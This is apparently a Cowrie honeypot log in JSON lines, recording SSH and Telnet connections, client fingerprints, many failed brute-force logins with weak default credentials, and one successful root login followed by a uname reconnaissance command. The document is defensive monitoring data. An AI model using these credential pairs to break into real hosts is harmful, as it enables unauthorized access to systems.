{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46906,"dst_ip":"159.203.135.109","dst_port":22,"session":"216b7ae209aa","protocol":"ssh","message":"New connection: 213.209.159.158:46906 (159.203.135.109:22) [session: 216b7ae209aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:59.402929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:01.584921Z","src_ip":"213.209.159.158","session":"216b7ae209aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:01.589643Z","src_ip":"213.209.159.158","session":"216b7ae209aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qqqqqqq","message":"login attempt [user/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:11.427362Z","src_ip":"213.209.159.158","session":"216b7ae209aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:14.682297Z","src_ip":"213.209.159.158","session":"216b7ae209aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5364,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3aa5d0e7c21","protocol":"ssh","message":"New connection: 213.209.159.158:5364 (159.203.135.109:22) [session: c3aa5d0e7c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:14.788939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:17.127542Z","src_ip":"213.209.159.158","session":"c3aa5d0e7c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:17.130816Z","src_ip":"213.209.159.158","session":"c3aa5d0e7c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"test","message":"login attempt [bitrix/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:27.074046Z","src_ip":"213.209.159.158","session":"c3aa5d0e7c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:30.318908Z","src_ip":"213.209.159.158","session":"c3aa5d0e7c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29714,"dst_ip":"159.203.135.109","dst_port":22,"session":"47ab181a51e7","protocol":"ssh","message":"New connection: 213.209.159.158:29714 (159.203.135.109:22) [session: 47ab181a51e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:30.418062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:32.949814Z","src_ip":"213.209.159.158","session":"47ab181a51e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:32.953730Z","src_ip":"213.209.159.158","session":"47ab181a51e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1qaz!QAZ","message":"login attempt [app/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:42.666046Z","src_ip":"213.209.159.158","session":"47ab181a51e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:46.101441Z","src_ip":"213.209.159.158","session":"47ab181a51e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b880e1e8f795","protocol":"ssh","message":"New connection: 213.209.159.158:33194 (159.203.135.109:22) [session: b880e1e8f795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:46.185255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:48.592532Z","src_ip":"213.209.159.158","session":"b880e1e8f795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:48.596222Z","src_ip":"213.209.159.158","session":"b880e1e8f795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44272,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c7c5543557e","protocol":"ssh","message":"New connection: 60.199.224.2:44272 (159.203.135.109:22) [session: 6c7c5543557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:53.171917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:53.176287Z","src_ip":"60.199.224.2","session":"6c7c5543557e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:53.381060Z","src_ip":"60.199.224.2","session":"6c7c5543557e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3123","message":"login attempt [gns3/gns3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:54.230069Z","src_ip":"60.199.224.2","session":"6c7c5543557e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.139.136.75","src_port":47484,"dst_ip":"10.17.0.5","dst_port":23,"session":"53673890a81c","protocol":"telnet","message":"New connection: 147.139.136.75:47484 (10.17.0.5:23) [session: 53673890a81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:54.777804Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:55.436389Z","src_ip":"60.199.224.2","session":"6c7c5543557e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"biadmin","password":"biadmin","message":"login attempt [biadmin/biadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:33:58.284125Z","src_ip":"213.209.159.158","session":"b880e1e8f795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:01.940356Z","src_ip":"213.209.159.158","session":"b880e1e8f795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40946,"dst_ip":"159.203.135.109","dst_port":22,"session":"527249316b12","protocol":"ssh","message":"New connection: 213.209.159.158:40946 (159.203.135.109:22) [session: 527249316b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:02.038677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:04.303413Z","src_ip":"213.209.159.158","session":"527249316b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:04.306818Z","src_ip":"213.209.159.158","session":"527249316b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123456789","message":"login attempt [backup/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:13.849232Z","src_ip":"213.209.159.158","session":"527249316b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:17.228621Z","src_ip":"213.209.159.158","session":"527249316b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5602,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2de5c1575d","protocol":"ssh","message":"New connection: 213.209.159.158:5602 (159.203.135.109:22) [session: af2de5c1575d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:17.306830Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":52038,"dst_ip":"159.203.135.109","dst_port":22,"session":"92aa6db5ca80","protocol":"ssh","message":"New connection: 2.57.122.210:52038 (159.203.135.109:22) [session: 92aa6db5ca80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:17.819169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:17.823833Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:17.923429Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"elayer","message":"login attempt [root/elayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:18.228797Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:18.464792Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:18.468048Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:18.624744Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:18.629025Z","src_ip":"2.57.122.210","session":"92aa6db5ca80","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:19.429923Z","src_ip":"213.209.159.158","session":"af2de5c1575d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:19.433441Z","src_ip":"213.209.159.158","session":"af2de5c1575d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":46808,"dst_ip":"159.203.135.109","dst_port":22,"session":"65539fbd3235","protocol":"ssh","message":"New connection: 34.85.163.94:46808 (159.203.135.109:22) [session: 65539fbd3235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:29.062056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:29.066479Z","src_ip":"34.85.163.94","session":"65539fbd3235","protocol":"ssh"}
